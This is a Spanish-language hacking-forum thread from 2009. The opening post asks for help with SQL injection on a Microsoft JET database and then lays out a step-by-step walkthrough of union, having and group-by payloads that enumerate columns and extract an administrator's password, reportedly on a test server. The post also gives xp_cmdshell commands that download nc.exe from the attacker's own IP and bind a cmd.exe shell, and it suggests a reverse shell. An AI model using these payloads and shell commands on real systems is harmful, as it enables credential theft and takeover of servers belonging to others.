elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking
| | |-+  Bugs y Exploits
| | | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | | |-+  sql injection ayuda
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: sql injection ayuda  (Leído 4,594 veces)
IAmSlayer

Desconectado Desconectado

Mensajes: 2



Ver Perfil
sql injection ayuda
« en: 27 Mayo 2009, 16:53 pm »

tengo problemas con un Microsoft JET Database Engine

el nombre de la tabla se adivino atravez de un union select
con ' union select 1 from [tablaincorrecta] devuelve:

"The Microsoft Jet database engine cannot find the input table or query 'tablaincorrecta'. Make sure it exists and that its name is spelled correctly."

al adivinar la base(' union select 1 from [admin]) se devolvio:

"The number of columns in the two selected tables or queries of a union query do not match"

despues se incremento el numero de columnas

' union select 1 from [admin]
' union select 1,1 from [admin]
' union select 1,1,1 from [admin]

en donde en este ultimo no recibo ningun error, queriendo decir que ahi 3 columas
una de ellas siendo User_ID que consegui atravez de un simple '
e tratado de comentar con:
/*
#
--
%00
//
son todas las que conozco... si hay alguna que conozcan me la pueden decir? haber si sale algo...
al hacer ' union select User_ID,1,1 from [admin]
y ' union select Password,1,1 from [admin]
no devuelve ningun error, esto es que las columnas existen
al hacer ' union select pirulo,1,1 from [admin] devuelve"

"No value given for one or more required parameters."

sigo intentando de adivinar la tercera columna...

pero cuando hago ' union select User_ID,1,1 from [admin] where User_ID>'1' me devuelve

"Syntax error in string in query expression 'User_ID>'1'''."

porque me da esto?porque no me da error ' union select User_ID,1,1 from [admin]?
pasa lo mismo si lo hago sin las ' al 1...
noten que tiene un ' entre el mio y el que cierra, a que se debe esto?
la \ no sirve, no se si en Microsoft Jet se hace de otra manera... alguien sabe esto?
tambien, mis conocimientos de obfuscacion son limitados... alguno tiene algun link bueno acerca de obfuscacion?

intente %27%75%6E%69%6F%6E%20%73%65%6C%65%63%74%20%55%73%65%72%5F%49%44%2C%31%2C%31%20%66%72%6F%6D%20%5B%61%64%6D%69%6E%5D%20%77%68%65%72%65%20%55%73%65%72%5F%49%44%3E%27%31%27

que seria = ' union select User_ID,1,1 from [admin] where User_ID>'1'
pero me devuelve el mismo error...
tambien el siguiente
' union select User_ID,1,1 from [admin] where User_ID/**/>/**/'1'
y etc...
no se si me sirve intentar de obfuscar en este caso o no...
soy bastante nuevo a sql injection...

despues tengo preguntas de curioso no mas
que es lo que hace la sentencia ' having 1=1--? se que ' or 1=1-- le cierra con el ' y despues le da un valor verdadero y lo logea con el primer usuario de la tabla dado que no sabe cual darle. pero por que el having devuelve la columna?
el union select incrementado da error cuando no tiene suficientes columnas por el hecho que el union select tiene que tener la misma cantidad de columnas que tiene la tabla.
los where, and son parametros que sirven para encontrar mas info ejemplo: "' union select UserName from Tabla where UserName<>'Pablo' and UserName<>'Martin'" esto lo que hace es decirle a la base de datos que devuelva un usuario que no sea Martin o Pablo...
atravez de esta forma pude entrar como admin a una pagina (de prueba por supuesto)
en donde fue lo siguiente

' or 1=1--  <-- acedi, pagina muy vulnerable...
' having 1=1-- <devuelve user.userID, la tabla "user" y la columna userID
' group by user.userID having 1=1-- <-- esto dice que ordene por grupo devolviendo la siguiente columna user.AccessLevel
' group by user.userID,user.AccessLevel having 1=1-- <-- devuelve user.Password
' group by user.userID,user.AccessLevel,user.Password having 1=1-- <-- devuelve: "The column prefix 'user' does not match with a table name or alias name used in the query." ya tenemos todas las columnas :D
despues queremos sacar algo de info
' union select min(userID),1,1 from user where UserID > '1'-- <-- nos devuelve un error con un userID mayor a 1, ej:1234
' union select min(Password),1,1 from user where UserID='1234'-- <-- nos da su pass :),  esto le dice que busque en la tabla la pass del usuario 1234
' union select min(AccessLevel),1,1 from user where Username='1'-- <-- esto nos da 'noob', pero esta columna parece mas interesante >:)
' union select AccessLevel,1,1 from user where AccessLevel<>'noob'-- <--da el siguiente valor 'advanced'
' union select AccessLevel,1,1 from user where AccessLevel<>'noob' and AccessLevel<>'advanced'-- <-- nos devuelve 'admin' :)
'union select userID,1,1 from user where AccessLevel='admin' <-- nos da el userID del admin, en este caso '4321'
'union select Password,1,1 from user where UserID='4321' <-- FINGER LICKIN' GOOD!
para sacar que esta usando se puede hacer un
' union select @@version,1,1--

esto es algo simple, y la manera que hice mi primer hack... servidor de prueba aclaro de vuelta...
aunque no lo crean sigue habiendo muchos servidores vulnerables... a ' or 1=1--...
intenten tambien insert into, sacar que tipo de valor tiene la columna ej:varvhar,int

despues existen cosas mas avanzadas como ' exec master..xp_cmdshell 'dir' que nos da el resultado de el comando dir en donde se encuentra la base de datos :)
algo que siempre quise hacer fue ' exec master..xp_cmdshell 'tftp -i miip GET nc.exe C:\nc.exe'
' exec master..xp_cmdshell 'nc.exe -vv -l -p 54321 -e cmd.exe':)
siempre me pregunte si esto funcionaria, agamos de cuenta que no tiene firewall porfavor, sino... una reverse shell...
alguno lo hizo o sabe si esto funcionaria?
tambien recuerden que depende de la base de datos depende de los parametros.
ej:
en Microsoft SQL Server 2000
'union select userID,1,1 from user
en Microsoft JET
' union select userID,1,1 from [user]

esto es algo para principiantes como yo, para mas info
http://www.ngssoftware.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/
http://www.google.com

links sacados de sechack.blogspot.com

nunca un hagan un drop, eso es de hdp







En línea

IAmSlayer

Desconectado Desconectado

Mensajes: 2



Ver Perfil
Re: sql injection ayuda
« Respuesta #1 en: 18 Junio 2009, 16:58 pm »

por favor,
respondan 1 a la vez
no se maten
En línea

MagnoBalt

Desconectado Desconectado

Mensajes: 58


Los Buenos Artitas Copian, los Grandes Roban


Ver Perfil
Re: sql injection ayuda
« Respuesta #2 en: 18 Junio 2009, 18:40 pm »

Escribiste demasiado!!! nadie lee tanto tenes q ser mas especifico!!
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con injection sql por usuario ftp
Bugs y Exploits
Chelorc 0 3,285 Último mensaje 16 Enero 2011, 06:29 am
por Chelorc
Sql injection ayuda
Nivel Web
iiitttaaa 5 4,698 Último mensaje 2 Junio 2011, 04:01 am
por iiitttaaa
Ayuda sql injection
Nivel Web
DameBanda 2 2,341 Último mensaje 10 Julio 2011, 13:54 pm
por DameBanda
Ayuda con injection XSS!!
Hacking
barkalow 3 2,618 Último mensaje 4 Febrero 2012, 23:11 pm
por AlexPro
[AYUDA!] Bangbros Injection SQL
Nivel Web
RevolutioNext 2 3,332 Último mensaje 2 Abril 2012, 18:24 pm
por 3LJ0CK3R
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines